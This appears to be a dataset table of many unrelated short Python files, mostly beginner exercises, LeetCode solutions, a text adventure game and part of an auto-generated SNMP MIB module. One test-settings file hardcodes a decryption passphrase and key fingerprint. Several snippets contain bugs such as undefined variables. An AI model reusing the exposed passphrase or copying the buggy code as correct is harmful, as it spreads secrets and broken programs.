content stringlengths 7 1.05M |
|---|
#=========================
# Armor List
#=========================
clothArmor = {'name':'Cloth Armor', 'arm':1, 'description':'This is some cloth armor with a little extra padding.'}
leatherArmor = {'name':'Leather Armor', 'arm':3, 'description':'This is some heavy chunks of leather that have been fashioned into armor.'}
woodenPlateArmor = {'name':'Wooden Plate Armor', 'arm':7, 'description':'This is some plated armor made from pieces of wood, it seems to be pretty sturdy.'}
steelPlateArmor = {'name':'Steel Plate Armor', 'arm':9, 'description':'This is some very strong plate armor made of steel, and the way it is polished makes you look great.'}
chainMailArmor = {'name': 'Chain Mail Armor', 'arm':12, 'description':'This is some armor made of chain mail but it shines with a brilliance unfamiler to your knowledge of metals.'}
armorList = [clothArmor, leatherArmor, woodenPlateArmor, steelPlateArmor, chainMailArmor]
|
#This program estimates a painting job
cost_per_hour = 35.00
base_hours = 8
def main():
square_feet = float(input('Enter the number of square feet to be painted: '))
price_per_gallon = float(input('Enter the price of a paint per a gallon: '))
number_of_gallons = calculates_number_of_gallons(square_feet)
hours_required = calculates_hours_required(square_feet)
paint_cost = calculate_paint_cost(price_per_gallon,number_of_gallons)
labor_charges = calculate_labor_charge(hours_required)
grand_total = calculate_overal_total_cost(paint_cost,labor_charges)
#Displaying the above data
print('\nThe number of gallons of paint required = '\
,format(number_of_gallons,'.2f'),\
' gallons\nThe hours of labor required = '\
,format(hours_required,'.2f'),' hours'\
'\nThe total cost of the paint = $',format(paint_cost,',.2f'),\
'\nThe labor charges = $',format(labor_charges,',.2f'),\
'\nThe total cost of the paint job = $',format(grand_total,',.2f')\
,sep='')
def calculates_number_of_gallons(square_feet):
total_gallons = square_feet / 112
return total_gallons
def calculates_hours_required(square_feet):
hours = (square_feet * base_hours)/ 112
return hours
def calculate_paint_cost(price_per_gallon,number_of_gallons):
paint_cost = price_per_gallon * number_of_gallons
return paint_cost
def calculate_labor_charge(hours):
labor_charges = hours * cost_per_hour
return labor_charges
def calculate_overal_total_cost(paint_cost,labour_charges):
total_cost = paint_cost + labour_charges
return total_cost
main()
|
# spam.py
print('imported spam')
def foo():
print('spam.foo')
def bar():
print('spam.bar')
|
# https://leetcode.com/problems/largest-rectangle-in-histogram
class Solution:
def largestRectangleArea(self, heights):
if not heights:
return 0
st = [0]
idx = 1
ans = 0
while idx < len(heights):
while heights[idx] < heights[st[-1]]:
if len(st) == 1:
l_idx = st.pop(-1)
ans = max(ans, idx * heights[l_idx])
break
l_idx = st.pop(-1)
ans = max(ans, (idx - (st[-1] + 1)) * heights[l_idx])
st.append(idx)
idx += 1
while 1 < len(st):
l_idx = st.pop(-1)
ans = max(ans, (len(heights) - (st[-1] + 1)) * heights[l_idx])
ans = max(ans, heights[st[0]] * len(heights))
return ans
|
# Las tuplas no son mutables
nombres = ("Ana", "Maria", "Rodrigo")
try:
nombres.append("Anita")
except:
print("No se puede nombres.append('Anita')")
try:
nombres[0]=("Anita")
except:
print("No se puede nombres[0]=('Anita')") |
n = str(input('Digite um número de 0 a 9999: '))
u = str(n[3])
d = str(n[2])
c = str(n[1])
m = str(m[0])
print(f'Unidade: {u}\n Dezena{d}\n Centena{c}\n Milhar: {m}') |
"""
Python program to find the largest element and its location.
"""
def largest_element(a, loc = False):
""" Return the largest element of a sequence a.
"""
try:
maxval = a[0]
location = 0
for (i,e) in enumerate(a):
if e > maxval:
maxval = e
location = i
if loc == True:
return maxval, location
else:
return maxval
except ValueError:
return "Value Error"
except TypeError:
return "Type error, my dude. You can't compare those."
except:
return "Unforseen error! What did you do?"
if __name__ == "__main__":
a = ["a","b","c",2,1]
print("Largest element is {:}".format(largest_element(a, loc=True)))
|
def check(exampleGraph,startPoint,endPoint):
global currentPath
global final
global string
if bool(currentPath) == False:
currentPath.append(startPoint)
for p in exampleGraph:
if p[0] == currentPath[-1]:
if p[1] not in currentPath:
currentPath.append(p[1])
if p[1] == endPoint:
for i in currentPath:
string += str(i)
final.append(string)
string = ''
currentPath.pop()
else:
check(exampleGraph,startPoint,endPoint)
currentPath.pop()
else:
for p in exampleGraph:
if p[0] == currentPath[-1]:
if p[1] not in currentPath:
currentPath.append(p[1])
if currentPath[-1] == endPoint:
for i in currentPath:
string += str(i)
final.append(string)
string = ''
currentPath.pop()
else:
check(exampleGraph,startPoint,endPoint)
currentPath.pop()
def finalCheck(exampleGraph,startPoint,endPoint):
global finalfinal
global currentPath
global final
global string
finalfinal = []
final = []
currentPath = []
string = ''
check(exampleGraph,startPoint,endPoint)
for p in range(len(final)):
pastPoint = final[p][0]
currentRoad = ''
finalfinal.append([])
for i in range(1,len(final[p])):
currentRoad = pastPoint + final[p][i]
pastPoint = final[p][i]
finalfinal[p].append(currentRoad)
return finalfinal
#~~~~~~~~~~~~~~~~~~~~~~~~~let's see how it works for test~~~~~~~~~~~~~~~~~~~~~#
# exampleGraph = ['ae','ab','ac','ad','cd','db','cb']
# print(finalCheck(exampleGraph,'a','b'))
#
# outPut ---> [['ab'], ['ac', 'cd', 'db'], ['ac', 'cb'], ['ad', 'db']]
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~#
|
# Escreva um programa que leia um valor em metros e o exiba convertido em centímetros e milímetros.
medida = float(input("Digite uma distância em metros: "))
km = medida / 1000
hm = medida /100
dam = medida /10
m = medida
dm = medida * 10
cm = medida * 100
mm = medida * 1000
#print("A medida de {}m corresponte a {}cm e {}mm". format(medida, cm, mm))
print("A medida de{}m corresponte a\n {} km\n {} hm\n {} dam\n {} m\n {} dm\n {} cm\n {} mm".format(m, km, hm, dam, m, dm, cm, mm))
|
# Definition for singly-linked list.
# class ListNode:
# def __init__(self, x):
# self.val = x
# self.next = None
class Solution:
# @param head, a ListNode
# @return a boolean
def hasCycle(self, head):
d = dict()
h = head
while h != None:
if h in d:
return True
else:
d[h] = 1
h = h.next
return False
#another
# class Solution:
# # @param head, a ListNode
# # @return a boolean
# def hasCycle(self, head):
# if not head:
# return False
#
# slow = fast = head
# while fast and fast.next:
# slow = slow.next
# fast = fast.next.next
# if slow is fast:
# return True
#
# return False |
while True:
n = int(input('Insira um nº e veja sua tabuada ! '))
print('=' * 15)
if n <= 0:
break
for t in range(1, 11):
print(f'{n} X {t} = {n * t}')
print('=' * 15)
print('Acabou, tenha um bom dia!')
|
num = input('Digite um número: ')
num = int(num)
# se for verdade faça:
if num % 2 == 0:
print(f'O número {num} é PAR!')
# se não for verdade faça:
else:
print(f'O número {num} é IMPAR!') |
# Simon says
# Do you know the game "Simon says?" The
# instructor, "Simon", says what the players should
# do, e.g. "jump in the air" or "close your eyes". The
# players should follow the instructions only if the
# phrase starts with "Simon says". Now let's
# implement a digital version of this game! We will
# modify it a bit: the correct instructions may not only
# start but also end with the words "Simon says".
# But be careful, instructions can be only at the
# beginning, or at the end, but not in the middle!
# Write a function that takes a string with
# instructions: if it starts or ends with the words
# "Simon says", your function should return the
# string "I ", plus what you would do: the
# instructions themselves. Otherwise, return "I
# won't do it!".
# You are NOT supposed to handle input or call your
# function, just implement it.
def what_to_do(instructions):
return "I " + instructions.replace("Simon says", "").strip(" ") if instructions.startswith("Simon says") or instructions.endswith("Simon says") else "I won't do it!"
print(what_to_do("Simon says make a wish")) |
lista = []
while True:
lista.append(int(input('Digite um valor: ')))
respos = str(input('Quer continuar? [S/N] ')).upper().strip()[0]
while respos not in 'SN':
respos = str(input('Opção Inválida..Quer continuar? [S/N] ')).upper().strip()[0]
if respos == 'N':
break
print(f'Você digitou {len(lista)} elementos..')
lista.sort(reverse=True)
print(f'Os valores em ordem decrescente são {lista}')
if 5 in lista:
print(f'O valor 5 faz parte da lista..')
else:
print(f'O valor 5 não faz parte da lista..') |
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
'''
In Curve Fitting, we have all the data available to us at the time of fitting the curve.
We want to fit the curve as best as we can.
Curve fitting is quite general ambiguously defined. It could refer to polynomial curve fitting.
But some curve fitting can also fit functions like sin, 1/x, ln x.
Curve fitting can try to fit as accurate possible, in which case you could need up to a
n-degree polynomial to fit n points, or curve fitting can have dimension control involved which
essentially avoids “over-fitting”.
Regression on the other hand, is pretty unambiguously defined from the statistics perspective.
In a sense, regression is not a mathematics concept, it’s a statistics concept, while curve fitting
is a mathematical concept. (think thermodynamics and combustion). Regression is curve fitting
under context: the goal is to understand how one variable depends on another variable.
Because the data is usually noisy and we usually want high-level understanding,
dimension control is usually used to filter out the noise.
Curve fitting encompasses methods used in regression, and regression is not necessarily fitting a curve.
The relationship between variables has to be a function in the case of a regression
dependent_variables = f(independent_variables)
while in curve fitting it needs not be the case, e.g. fitting a circle, which cannot be expressed as a function
Curve fitting is one particular case in regression , where we take hypothesis
in terms of polynomials (essentially polynomials are curves) .
'''
|
def test_get_atom1(case_data):
"""
Test :meth:`.Bond.get_atom1`.
Parameters
----------
case_data : :class:`.CaseData`
A test case. Holds the bond to test and the correct *atom1*.
Returns
-------
None : :class:`NoneType`
"""
assert case_data.bond.get_atom1() is case_data.atom1
|
# lec10.3-binary_search.py
# Binary Search
# Can we do better than O(len(L)) for search?
# If know nothing about values of elements in list, then no
# Worst case have to look at every values
# What if list is ordered? Suppose elements are sorted?
# Example of searching an ordered list
def search(L, e):
for i in range (len(L)):
if L[i] == e:
return True
# if element in list is bigger than item looking for,
# know that element is not in an ordered list, return False
# Improves complexity, but worst case still need to look at
# every element
if L[i] > e:
return False
return False
# Use binary search to create a divide and conquer algorithm
# Pick an index i that divides list in half
# if L[i] == e, then found value
# If not, ask if L[i] larger or smaller, set to new i
def search(L, e):
def bSearch(L, e, low, high):
if high == low:
return L[low] == c
mid = low + int((high - low)/2)
if L[mid] == e:
return True
if L[mid] > e:
# Incorrect line from slides, corrected below
# return bSearch(L, e, low, mid - 1)
# If value we are seaching for is less than curent value,
# set a new range from low to mid
return bSearch(L, e, low, mid)
else:
# Otherwise, if value search for is higher, then a new
# range from mid + 1 (so we don't look at same value again, to high)
return bSearch(l, e, mid + 1, high)
# If list is empty, return False
if len(L) == 0:
return False
# Otherwise, call bSearch, low = 0, high set to len(L) - 1
else:
return bSearch(L, e, 0, len(L) - 1)
"""
Analyzing binary search
Does the recursion halt?
- Decrementing function
1. Maps values to which formal parameters are bound to
non-negative integer
2. When value <= 0, recursion terminates
3. For each recursive call, value of function is strictly less then
value on entry to instance of function
- Here function is high - low
- At least 0 first time called (1)
- When exactly 0, no recursive calls, returns (2)
- Otherwise, halt or recursively call with value halved (3)
What is complexity?
- How many recursive calls? (work within each call
is constant)
- How many times can we divide high - 1ow in
half before reaches 0?
- log2 (high - low)
- Thus search complexity is O(log(len(L)))
Is a very efficient algorithm, much better than linear
"""
|
class OutputHelper:
colors = {
'default_foreground': 39,
'black': 30,
'red': 31,
'green': 32,
'yellow': 33,
'blue': 34,
'magenta': 35,
'cyan': 36,
'light_gray': 37,
'dark_gray': 90,
'light_red': 91,
'light_green': 92,
'light_yellow': 93,
'light_blue': 94,
'light_magenta': 95,
'light_cyan': 96,
'white': 97,
}
@staticmethod
def colorize(text, color):
if color in OutputHelper.colors:
return "\033[" + str(OutputHelper.colors[color]) + "m" + text + "\033[0m"
return text
|
# Determine if String Halves Are Alike
# Runtime: 39 ms, faster than 82.91% of Python3 online submissions for Determine if String Halves Are Alike.
# Memory Usage: 13.8 MB, less than 98.41% of Python3 online submissions for Determine if String Halves Are Alike.
# https://leetcode.com/submissions/detail/714796669/
class Solution:
def halvesAreAlike(self, s):
return len([char for char in s[:len(s)//2] if char.lower() in "aeiou"]) == len([char for char in s[len(s)//2:] if char.lower() in "aeiou"])
print(Solution().halvesAreAlike("book"))
|
class Solution:
# @param A : list of integers
# @return a list of list of integers
def twosum(self, arr, index, target):
i = index
j = len(arr) - 1
while i<j:
if arr[i] + arr[j] == target:
temp = [arr[index-1], arr[i], arr[j]]
if len(self.res)>0:
if self.res[0] != temp:
self.res.insert(0, temp)
else:
self.res.insert(0, temp)
i += 1
j -= 1
elif arr[i] + arr[j] < target:
i += 1
else:
j -= 1
def threeSum(self, arr):
self.res = []
arr.sort()
for i in range(len(arr)-2):
if (i==0) or (i and arr[i] != arr[i-1]):
self.twosum(arr, i+1, -arr[i])
return self.res
if __name__ == '__main__':
arr = [-1, 0, 1, 2, -1, -4]
sol = Solution()
print(sol.threeSum(arr)) |
"""
Very simple, given a number, find its opposite.
Examples:
1: -1
14: -14
-34: 34
"""
# OPTION 1
# def opposite(number):
# return number - number * 2
# OPTION 2
def opposite(number):
return -number
print(opposite(1))
|
#!/usr/bin/env python
# Settings for synthesis.py (test cases)
# Input files Processing path
INPUTFILES_PATH = "/home/user/Documents/Development/AlexandriaConsulting/repos/trunk/synthesis/Staging"
OUTPUTFILES_PATH = "/home/user/Documents/Development/AlexandriaConsulting/repos/trunk/synthesis/Staging"
TEST_FILE = "anyfile"
# Validation and processing of XML files
XML_FILE_VALID = "Example_HUD_HMIS_2_8_Instance.xml"
XML_FILE_INVALID = "coastal_sheila_invalid.xml"
XML_FILE_MALFORMED = "coastal_sheila_malformed.xml"
# Encryption Tests
XML_ENCRYPTED_FILE = "BASE_Example_HUD_HMIS_2_8_Instance.xml.pgp"
XML_DECRYPTED_FILE = "BASE_Example_HUD_HMIS_2_8_Instance.xml"
XML_ENCRYPT_FINGERPRINT = "97A798CF9E8D9F470292975E70DE787C6B57800F"
XML_DECRYPT_PASSPHRASE = "passwordlaumeyer#"
|
class TV:
#Toda classe deve ser inciada com um função __init_, a partir dele todos os objetos recebe os atributos da classe.
def __init__(self) -> None:
super().__init__()
self.cor = 'preto'
self.ligada = False
self.tamanho = 55
self.canal = 'netflix'
self.volume = 10
#Objeto 1
tv_sala = TV()
#Objeto 2
tv_quarto = TV()
tv_sala.cor = 'Prata'
tv_sala.ligada = True
tv_sala.tamanho = 55
tv_sala.canal = 'Amazon Prime'
tv_sala.volume = '13'
#Alterando atributo das classes - Objeto 1
print(tv_sala.cor,
tv_sala.ligada,
tv_sala.tamanho,
tv_sala.canal,
tv_sala.volume)
|
"""
Simple Utilities.
"""
def _mod(_dividend: int, _divisor: int) -> int:
"""
Computes the modulo of the given values.
_dividend % _divisor
:param _dividend: The value of the dividend.
:param _divisor: The value of the divisor.
:return: The Modulo.
"""
_q = (_dividend // _divisor)
_d = _q * _divisor
return _dividend - _d
def _is_prime(_number: int) -> bool:
"""
Checks if a given number is a prime number.
:param _number: The value to be tested.
:return: True if the given number is prime number, False otherwise.
"""
if _number < 2:
return False
for _x in range(2, _number):
if _mod(_number, _x) == 0:
return False
return True
def _ascii(_message: str) -> list:
"""
Computes and returns the ascii list of of given the given string.
:param _message: The string whose ascii values are needed.
:return: The list of ascii values.
"""
return [ord(__c) for __c in _message]
def _from_ascii(_message: list) -> str:
"""
Computes and returns the characters of the given ascii values.
:param _message: A list of ascii values.
:return: The string message
"""
return "".join(chr(__i) for __i in _message)
def _split(_message: str) -> list:
"""
Splits the given string.
:param _message: The string to be split.
:return: The list of values.
"""
if _message.find('-') > 0:
_m = _message.split('-')
_m = [int(__i) for __i in _m]
else:
_m = [int(_message)]
return _m
|
# Variables can store data
a = 10 # Assigns the integer 10 to the variable a
# In Python variables do not have one fixed type
a = "hello" # Assigns the string "hello" to the variable a
print(a) # Prints the value of a which is now "hello"
|
#!/usr/bin/env python3
poly_derivative = __import__('10-matisse').poly_derivative
poly = [5, 3, 0, 1]
print(poly_derivative(poly)) |
for x in range(16):
with open(f'..\\data\\cpu\\functions\\opcode_switch\\opcode_8xx4\\opcode_8xx4_{x}.mcfunction', 'w') as f:
for i in range(16):
f.write(f'execute if score Global PC_nibble_3 matches {i} run scoreboard players operation Global V{hex(x)[2:].upper()} += Global V{hex(i)[2:].upper()}\n')
f.write(f'execute if score Global V{hex(x)[2:].upper()} matches 256.. run scoreboard players set Global VF 1\n'
f'execute unless score Global V{hex(x)[2:].upper()} matches 256.. run scoreboard players set Global VF 0\n'
f'execute if score Global V{hex(x)[2:].upper()} matches 256.. run scoreboard players remove Global V{hex(x)[2:].upper()} 256\n')
with open('..\\data\\cpu\\functions\\opcode_switch\\opcode_8xx4.mcfunction', 'a') as f:
for x in range(16):
f.write(f'execute if score Global PC_nibble_2 matches {x} run function cpu:opcode_switch/opcode_8xx4/opcode_8xx4_{x}\n')
|
#Diga se a pessoa tem silva no nome
sobrenome = str(input('Qual seu nome e sobrenome: ')).upper().strip()
if sobrenome == 'SILVA' and len(sobrenome) == 5:
print('Tem SILVA no sobrenome')
else:
print('Não tem SILVA no sobrenome')
|
valor = int(input())
contadorBixo = contadorCoelho = contadorRato = contadorSapo = 0
for c in range(0, valor):
experiencia = str(input())
dividir = experiencia.split()
quantidade = int(dividir[0])
tipo = dividir[1]
if quantidade > 0 and 'C' in tipo:
contadorCoelho += quantidade
elif quantidade > 0 and 'R' in tipo:
contadorRato += quantidade
elif quantidade > 0 and 'S' in tipo:
contadorSapo += quantidade
contadorBixo = contadorCoelho + contadorRato + contadorSapo
print(f'Total: {contadorBixo} cobaias')
print(f'Total de coelhos: {contadorCoelho}')
print(f'Total de ratos: {contadorRato}')
print(f'Total de sapos: {contadorSapo}')
print(f'Percentual de coelhos: {(contadorCoelho*100) / contadorBixo:.2f} %')
print(f'Percentual de ratos: {(contadorRato*100) / contadorBixo:.2f} %')
print(f'Percentual de sapos: {(contadorSapo*100) / contadorBixo:.2f} %')
|
class gamevals:
def __init__(self):
self.njp=["","Mark(merchant)","Precious Metal","George(knight)","Old Gem","Map","Gem of Man","Maria(Princess)","Herb","Mineral","Robin(thief)","Gem of Forest","Dragon","Dragon's Nail","Gem of Dragon","Gem of God","Gem of Sky","Gem of Earth","Coin","Vulture","Antique Merchant","Farmer","Priest","",""]
self.plname=["Can't go","Entrance of The Town","Public Square","Antique Market","Inn","Highway","Highway","Entarnce of the Village","Vegitable Field","Farm House","Wilderness","Wilderness","Ruin","Wilderness","Cave","Highway","Entrance of the Mountain","Forest Path","Mountain Path","Pass","Shrine","Nest of Vulture","Cliff Path","Top of the Mountain","Forest","Forest","Forest","Forest","Forest","Forest","",""]
"""pos:99=hidden 50=players possesion"""
self.pos=[0,15,99,4,99,99,99,18,99,99,29,99,14,99,99,99,99,99,99,21,3,9,20,0]
self.mapfw=[0,5,0,0,2,6,15,0,0,0,0,13,11,14,0,24,17,18,0,22,0,0,23,0,25,29,28,0,0,0,0,0]
self.maprt=[0,2,3,0,0,0,7,8,9,0,6,10,0,0,0,16,0,0,19,20,0,22,0,0,0,0,25,26,0,0,0,0]
self.maplt=[0,0,1,2,0,0,10,6,7,8,11,0,0,0,0,0,15,0,0,18,19,0,21,0,0,26,27,0,0,0,0]
self.mapbk=[0,0,4,0,0,1,5,0,0,0,0,12,0,11,13,6,0,16,17,0,0,0,19,22,15,24,0,0,26,25,0,0]
self.person=[0,1,0,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,1,1,1,0,0]
self.pl=1
self.gold=0
self.gameflag=1
self.mapdisp=False
def move(gs,func,dir):
if func>0:
print("You go "+str(dir)+".")
gs.pl=func
else:
print("You can not go this direction.")
return gs
def search(gs):
if gs.pl==28 and gs.pos[10]==50 and gs.pos[11]==99:
print("Robin found a (Gem of forest).")
gs.pos[11]=50
elif gs.pl==27 and gs.pos[7]==50 and gs.pos[8]==99:
print("Maria found a (Herb).")
gs.pos[8]=50
elif gs.pl==22 & gs.pos[9]==99:
print("You found a piece of (Mineral).")
gs.pos[9]=50
elif gs.pl==12 and gs.pos[10]==50 and gs.pos[4]==99:
print("Robin found a (Old gem).")
gs.pos[4]=50
elif gs.pl==12 and gs.pos[10]==50 and gs.pos[2]==99:
print("Robin found a piece of (Precious matal).")
gs.pos[2]=50
else:
print("You can found nothing special.")
if gs.pos[4]==50 and gs.pos[6]==50 and gs.pos[11]==50 and gs.pos[14]==50 and gs.pos[15]==50 and gs.pos[16]==50 and gs.pos[17]==50:
print("You solve the game Anekgard!")
gs.gameflag=0
return gs
def report(gs):
mes="Fellow:"
for i in range(1,22):
if gs.pos[i]==50 and gs.person[i]==1:
mes=mes+ gs.njp[i]+" "
print(mes)
mes="Inventory:"
for i in range(1,22):
if gs.pos[i]==50 and gs.person[i]==0:
mes=mes+gs.njp[i]+" "
print(mes)
mes="Coin " + str(gs.gold) +""
print(mes)
return gs
def map(gs):
print("[ Map ]")
print(" [North]:"+gs.plname[gs.mapfw[gs.pl]])
print("[West]:"+gs.plname[gs.maplt[gs.pl]]+" [East]:"+gs.plname[gs.maprt[gs.pl]])
print(" [South]:"+gs.plname[gs.mapbk[gs.pl]])
return gs
def fight(gs):
if gs.pl==14 and gs.pos[3]==50 and gs.pos[12]==14:
print("Dragon flew away to avoid your attack.")
print("It leaves a Nail of dragon and Gem of dragon.")
gs.pos[12]=99
gs.pos[13]=50
gs.pos[14]=50
if gs.pl==14 and gs.pos[3]!=50:
print("Enemy defences!")
if gs.pl==21:
print("Enemy defences!")
if gs.pl==3 or gs.pl==9 or gs.pl==10 or gs.pl==4 and gs.pos[3]==4 or gs.pl==15 and gs.pos[1]==15 or gs.pl==29 and gs.pos[10]==29 or gs.pl==18 and gs.pos[7]==18:
print("You don't permitted to attack an innocent people.")
if gs.pos[4]==50 and gs.pos[6]==50 and gs.pos[11]==50 and gs.pos[14]==50 and gs.pos[15]==50 and gs.pos[16]==50 and gs.pos[17]==50:
print("You solve game Anekgard!")
gs.gameflag=0
return gs
def talk(gs):
if gs.pl==3 and gs.pos[2]==50:
print("You sell a Precious metal.")
gs.pos[2]=0
gs.gold=gs.gold+1
if gs.pl==3 and gs.pos[8]==50:
print("You sell a Herb.")
gs.pos[8]=0
gs.gold=gs.gold+1
if gs.pl==3 and gs.pos[9]==50:
print("You sell a Mineral.")
gs.pos[9]=0
gs.gold=gs.gold+1
if gs.pl==3 and gs.pos[13]==50:
print("You sell a Nail of dragon.")
gs.pos[13]=0
gs.gold=gs.gold+1
if gs.pl==3 and gs.pos[1]==50 and gs.pos[6]==99 and gs.gold>0 and gs.pos[1]==50:
print("You get a Gem of man with Mark's negotiation.")
gs.pos[6]=50
gs.gold=gs.gold-1
if gs.pl==4 and gs.pos[3]==4:
print("George join you.")
gs.pos[3]=50
if gs.pl==9 and gs.pos[17]==99 and gs.gold>0 and gs.pos[1]==50:
print("You get a Gem of earth with Mark's negotiation.")
gs.pos[17]=50
gs.gold=gs.gold-1
if gs.pl==15 and gs.pos[1]==15:
print("Mark join you")
gs.pos[1]=50
if gs.pl==18 and gs.pos[7]==18:
print("Maria join you.")
gs.pos[7]=50
if gs.pl==20 and gs.pos[15]==99 and gs.pos[7]==50:
print("You get a Gem of god with Maria's negotiation.")
gs.pos[15]=50
if gs.pl==21 and gs.pos[16]==99 and gs.pos[7]==50:
print("You get a Gem of sky with Maria's negotiation.")
gs.pos[16]=50
if gs.pl==29 and gs.pos[10]==29:
print("Robin join you.")
gs.pos[10]=50
if gs.pos[4]==50 and gs.pos[6]==50 and gs.pos[11]==50 and gs.pos[14]==50 and gs.pos[15]==50 and gs.pos[16]==50 and gs.pos[17]==50:
print("You solve Game Anekgard !")
gs.gameflag=0
return gs
def cmdexe(gs,stginp):
if stginp=="n":
func=gs.mapfw[gs.pl]
dir="north"
gs=move(gs,func,dir)
if stginp=="s":
func=gs.mapbk[gs.pl]
dir="south"
gs=move(gs,func,dir)
if stginp=="e":
func=gs.maprt[gs.pl]
dir="east"
gs=move(gs,func,dir)
if stginp=="w":
func=gs.maplt[gs.pl]
dir="west"
gs=move(gs,func,dir)
if stginp=="a":
gs=fight(gs)
if stginp=="r":
gs=search(gs)
if stginp=="t":
gs=talk(gs)
if stginp=="c":
gs=report(gs)
if stginp=="m":
if gs.mapdisp==True:
gs.mapdisp=False
else:
gs.mapdisp=True
if stginp=="q":
gs.gameflag=0
return gs
def conds(gs):
print("You are at the " + gs.plname[gs.pl])
for i in range(1,21):
if gs.pos[i]==gs.pl:
print("There is "+gs.njp[i] + "")
mes="You can go ["
if gs.mapfw[gs.pl]>0:
mes+= "north "
if gs.maprt[gs.pl]>0:
mes+= "east "
if gs.maplt[gs.pl]>0:
mes+= "west "
if gs.mapbk[gs.pl]>0:
mes+= "south "
mes=mes+"]"
print(mes)
gv=gamevals()
while gv.gameflag==1:
if gv.mapdisp==True:
map(gv)
conds(gv)
print("command[nsew r:research a:attack t:talk c:condition m:map q:quit game]")
inp=input(":")
gv=cmdexe(gv,inp)
|
"""
String utilities.
"""
def camelize(value):
"""
Return the camel-cased version of a string.
Used for analysis class names.
"""
def _camelcase():
while True:
yield type(value).capitalize
c = _camelcase()
return "".join(next(c)(x) if x else '_' for x in value.split("_"))
|
class Project:
def __init__(self, id=None, x=None):
self.x = x
self.id = id
def __eq__(self, other):
return (self.id is None or other.id is None or self.id == other.id) and self.x == other.x |
class bot_constant:
bot_version: str = "0.0.1"
bot_token: str = "<Replace token in here>"
bot_author: str = "NgLam2911"
bot_prefix: str = "?"
bot_description: str = "Just a very simple discord bot that say Hi if you say Hello..."
|
#22. Faça um programa que leia o nome completo de uma pessoa e mostre: nome com todas as letras minusculas e maiusculas; quantas letras tem sem considerar espaços; e quantas letras tem o primeiro nome.
def Main022():
nome = str(input('Nome completo: ')).strip()
print(nome.upper())
print(nome.lower())
print('Tamanho total:',len(nome)-nome.count(' '))
nomeFatiado = nome.split()
print(f'Primeiro nome tem {len(nomeFatiado[0])} ')
Main022()
#Lembrando que Strip() é para retirar os espaços que colocar a mais. |
#
# PySNMP MIB module HPN-ICF-RS485-MIB (http://snmplabs.com/pysmi)
# ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/HPN-ICF-RS485-MIB
# Produced by pysmi-0.3.4 at Mon Apr 29 19:29:05 2019
# On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4
# Using Python version 3.7.3 (default, Mar 27 2019, 09:23:15)
#
Integer, OctetString, ObjectIdentifier = mibBuilder.importSymbols("ASN1", "Integer", "OctetString", "ObjectIdentifier")
NamedValues, = mibBuilder.importSymbols("ASN1-ENUMERATION", "NamedValues")
SingleValueConstraint, ConstraintsIntersection, ValueRangeConstraint, ValueSizeConstraint, ConstraintsUnion = mibBuilder.importSymbols("ASN1-REFINEMENT", "SingleValueConstraint", "ConstraintsIntersection", "ValueRangeConstraint", "ValueSizeConstraint", "ConstraintsUnion")
hpnicfCommon, = mibBuilder.importSymbols("HPN-ICF-OID-MIB", "hpnicfCommon")
ifIndex, = mibBuilder.importSymbols("IF-MIB", "ifIndex")
InetAddressType, InetAddress = mibBuilder.importSymbols("INET-ADDRESS-MIB", "InetAddressType", "InetAddress")
NotificationGroup, ModuleCompliance = mibBuilder.importSymbols("SNMPv2-CONF", "NotificationGroup", "ModuleCompliance")
ObjectIdentity, TimeTicks, NotificationType, Integer32, IpAddress, Bits, Unsigned32, Counter64, MibScalar, MibTable, MibTableRow, MibTableColumn, ModuleIdentity, Gauge32, iso, Counter32, MibIdentifier = mibBuilder.importSymbols("SNMPv2-SMI", "ObjectIdentity", "TimeTicks", "NotificationType", "Integer32", "IpAddress", "Bits", "Unsigned32", "Counter64", "MibScalar", "MibTable", "MibTableRow", "MibTableColumn", "ModuleIdentity", "Gauge32", "iso", "Counter32", "MibIdentifier")
DisplayString, TextualConvention, RowStatus = mibBuilder.importSymbols("SNMPv2-TC", "DisplayString", "TextualConvention", "RowStatus")
hpnicfRS485 = ModuleIdentity((1, 3, 6, 1, 4, 1, 11, 2, 14, 11, 15, 2, 109))
if mibBuilder.loadTexts: hpnicfRS485.setLastUpdated('200910210000Z')
if mibBuilder.loadTexts: hpnicfRS485.setOrganization('')
hpnicfRS485Properties = MibIdentifier((1, 3, 6, 1, 4, 1, 11, 2, 14, 11, 15, 2, 109, 1))
hpnicfRS485PropertiesTable = MibTable((1, 3, 6, 1, 4, 1, 11, 2, 14, 11, 15, 2, 109, 1, 1), )
if mibBuilder.loadTexts: hpnicfRS485PropertiesTable.setStatus('current')
hpnicfRS485PropertiesEntry = MibTableRow((1, 3, 6, 1, 4, 1, 11, 2, 14, 11, 15, 2, 109, 1, 1, 1), ).setIndexNames((0, "IF-MIB", "ifIndex"))
if mibBuilder.loadTexts: hpnicfRS485PropertiesEntry.setStatus('current')
hpnicfRS485RawSessionNextIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 11, 2, 14, 11, 15, 2, 109, 1, 1, 1, 1), Integer32().subtype(subtypeSpec=ValueRangeConstraint(1, 64))).setMaxAccess("readonly")
if mibBuilder.loadTexts: hpnicfRS485RawSessionNextIndex.setStatus('current')
hpnicfRS485BaudRate = MibTableColumn((1, 3, 6, 1, 4, 1, 11, 2, 14, 11, 15, 2, 109, 1, 1, 1, 2), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4, 5, 6, 7, 8, 9, 10))).clone(namedValues=NamedValues(("bautRate300", 1), ("bautRate600", 2), ("bautRate1200", 3), ("bautRate2400", 4), ("bautRate4800", 5), ("bautRate9600", 6), ("bautRate19200", 7), ("bautRate38400", 8), ("bautRate57600", 9), ("bautRate115200", 10))).clone('bautRate9600')).setMaxAccess("readwrite")
if mibBuilder.loadTexts: hpnicfRS485BaudRate.setStatus('current')
hpnicfRS485DataBits = MibTableColumn((1, 3, 6, 1, 4, 1, 11, 2, 14, 11, 15, 2, 109, 1, 1, 1, 3), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4))).clone(namedValues=NamedValues(("five", 1), ("six", 2), ("seven", 3), ("eight", 4))).clone('eight')).setUnits('bit').setMaxAccess("readwrite")
if mibBuilder.loadTexts: hpnicfRS485DataBits.setStatus('current')
